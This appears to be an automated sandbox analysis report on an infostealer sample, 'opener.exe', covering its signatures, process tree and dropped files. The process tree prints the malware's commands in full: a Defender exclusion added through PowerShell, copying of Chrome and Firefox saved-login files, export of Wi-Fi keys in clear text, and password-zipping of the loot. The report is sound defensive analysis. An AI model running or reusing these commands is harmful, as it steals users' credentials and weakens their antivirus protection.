Analysis

  • max time kernel
    148s
  • max time network
    116s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    07/08/2026, 19:39

General

  • Target
    opener.exe
  • Size 399KB
  • Sample260807-yc2djsvxgt
  • SHA256 92b29ad7ebea1915ab39c6649719afc7fb7ea31a31bdc2728ff741bef2d5096c
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 2 IoCs
  • Contacts third-party web service commonly abused for C2 1 TTPs 5 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Executes a command shell one-liner 1 TTPs 8 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 18 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 25 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\opener.exe
    "C:\Users\Admin\AppData\Local\Temp\opener.exe"
    1⤵
    • Adds Run key to start application
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2520
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Caches'"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4836
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Caches
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1332
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Caches\trojan.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Caches\trojan.exe"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:932
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c copy "%APPDATA%\..\Local\Google\Chrome\User Data\Default\Login Data" C:\Users\Public\chrome.db >nul 2>&1
        3⤵
        • Executes a command shell one-liner
        • System Location Discovery: System Language Discovery
        PID:4388
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c copy "%APPDATA%\Mozilla\Firefox\Profiles\*.default-release\logins.json" C:\Users\Public\ff.json >nul 2>&1
        3⤵
        • Executes a command shell one-liner
        • System Location Discovery: System Language Discovery
        PID:5812
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c netsh wlan export profile key=clear folder=C:\Users\Public\ >nul 2>&1
        3⤵
        • Executes a command shell one-liner
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4132
        • C:\Windows\SysWOW64\netsh.exe
          netsh wlan export profile key=clear folder=C:\Users\Public\
          4⤵
          • Event Triggered Execution: Netsh Helper DLL
          • System Location Discovery: System Language Discovery
          PID:4448
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c powershell -Command "Compress-Archive -Path 'C:\Users\Public\chrome.db','C:\Users\Public\ff.json','C:\Users\Public\Wi-Fi-*.xml' -DestinationPath 'C:\Users\Public\EkjajhlijevE.zip'; $zip = [System.IO.Compression.ZipFile]::Open('C:\Users\Public\EkjajhlijevE.zip','Update'); $zip.Entries | ForEach-Object { $_.Password = 'pabloishere' }; $zip.Dispose()"
        3⤵
        • Executes a command shell one-liner
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4944
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Compress-Archive -Path 'C:\Users\Public\chrome.db','C:\Users\Public\ff.json','C:\Users\Public\Wi-Fi-*.xml' -DestinationPath 'C:\Users\Public\EkjajhlijevE.zip'; $zip = [System.IO.Compression.ZipFile]::Open('C:\Users\Public\EkjajhlijevE.zip','Update'); $zip.Entries | ForEach-Object { $_.Password = 'pabloishere' }; $zip.Dispose()"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2152
  • C:\Users\Admin\AppData\Local\Temp\opener.exe
    C:\Users\Admin\AppData\Local\Temp\opener.exe
    1⤵
    • Adds Run key to start application
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:1776
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Caches\trojan.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Caches\trojan.exe"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3784
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c copy "%APPDATA%\..\Local\Google\Chrome\User Data\Default\Login Data" C:\Users\Public\chrome.db >nul 2>&1
        3⤵
        • Executes a command shell one-liner
        • System Location Discovery: System Language Discovery
        PID:1336
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c copy "%APPDATA%\Mozilla\Firefox\Profiles\*.default-release\logins.json" C:\Users\Public\ff.json >nul 2>&1
        3⤵
        • Executes a command shell one-liner
        • System Location Discovery: System Language Discovery
        PID:2960
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c netsh wlan export profile key=clear folder=C:\Users\Public\ >nul 2>&1
        3⤵
        • Executes a command shell one-liner
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4508
        • C:\Windows\SysWOW64\netsh.exe
          netsh wlan export profile key=clear folder=C:\Users\Public\
          4⤵
          • Event Triggered Execution: Netsh Helper DLL
          • System Location Discovery: System Language Discovery
          PID:1296
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c powershell -Command "Compress-Archive -Path 'C:\Users\Public\chrome.db','C:\Users\Public\ff.json','C:\Users\Public\Wi-Fi-*.xml' -DestinationPath 'C:\Users\Public\EqetelhwhmsE.zip'; $zip = [System.IO.Compression.ZipFile]::Open('C:\Users\Public\EqetelhwhmsE.zip','Update'); $zip.Entries | ForEach-Object { $_.Password = 'pabloishere' }; $zip.Dispose()"
        3⤵
        • Executes a command shell one-liner
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:464
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Compress-Archive -Path 'C:\Users\Public\chrome.db','C:\Users\Public\ff.json','C:\Users\Public\Wi-Fi-*.xml' -DestinationPath 'C:\Users\Public\EqetelhwhmsE.zip'; $zip = [System.IO.Compression.ZipFile]::Open('C:\Users\Public\EqetelhwhmsE.zip','Update'); $zip.Entries | ForEach-Object { $_.Password = 'pabloishere' }; $zip.Dispose()"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1440

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 11KB
        • SHA256 7a1be2719f8ad52e9212c75e258c557c1630e171e38a62f187e9c54a31657147
        • MD5 SHA1 SHA512 SSDEEP TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 20KB
        • SHA256 98a87c462c30a0533743aa89793e751b09cc1239a4fbc65c0c5be5f2ad8b9aa6
        • MD5 SHA1 SHA512 SSDEEP TLSH

        __PSScriptPolicyTest_uko5yewq.who.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uko5yewq.who.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        trojan.exe

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Caches\trojan.exe
        • Size 211KB
        • SHA256 9456396673db793efe2651e4fd9d9307a93941db5d22ccaa1a1574318cf92258
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/1332-29-0x0000000007370000-0x000000000737A000-memory.dmp

        memory/1332-30-0x0000000007570000-0x0000000007606000-memory.dmp

        memory/1332-28-0x0000000007300000-0x000000000731A000-memory.dmp

        memory/1332-27-0x0000000007940000-0x0000000007FBC000-memory.dmp

        memory/1332-26-0x00000000071A0000-0x0000000007243000-memory.dmp

        memory/1332-25-0x00000000065D0000-0x00000000065F0000-memory.dmp

        memory/1332-21-0x0000000006570000-0x00000000065A6000-memory.dmp

        memory/1332-22-0x0000000070D50000-0x0000000070D9C000-memory.dmp

        memory/1440-46-0x0000000074CC0000-0x0000000074D0C000-memory.dmp

        memory/2152-39-0x0000000006470000-0x00000000064BC000-memory.dmp

        memory/2152-37-0x0000000006030000-0x000000000638B000-memory.dmp

        memory/2152-51-0x00000000089A0000-0x0000000008F5A000-memory.dmp

        memory/2152-50-0x0000000007A30000-0x0000000007A52000-memory.dmp

        memory/2152-49-0x0000000007900000-0x0000000007911000-memory.dmp

        memory/2152-45-0x00000000075E0000-0x0000000007683000-memory.dmp

        memory/2152-42-0x0000000074CC0000-0x0000000074D0C000-memory.dmp

        memory/4836-13-0x0000000005EA0000-0x0000000005F06000-memory.dmp

        memory/4836-9-0x0000000005670000-0x0000000005CBA000-memory.dmp

        memory/4836-34-0x0000000074C60000-0x000000007541C000-memory.dmp

        memory/4836-10-0x0000000074C60000-0x000000007541C000-memory.dmp

        memory/4836-8-0x0000000074C60000-0x000000007541C000-memory.dmp

        memory/4836-11-0x0000000005630000-0x0000000005652000-memory.dmp

        memory/4836-18-0x0000000006440000-0x000000000648C000-memory.dmp

        memory/4836-6-0x0000000002C10000-0x0000000002C46000-memory.dmp

        memory/4836-12-0x0000000005E30000-0x0000000005E96000-memory.dmp

        memory/4836-16-0x0000000005F10000-0x000000000626B000-memory.dmp

        memory/4836-17-0x0000000006410000-0x000000000642E000-memory.dmp

        memory/4836-5-0x0000000074C72000-0x0000000074C73000-memory.dmp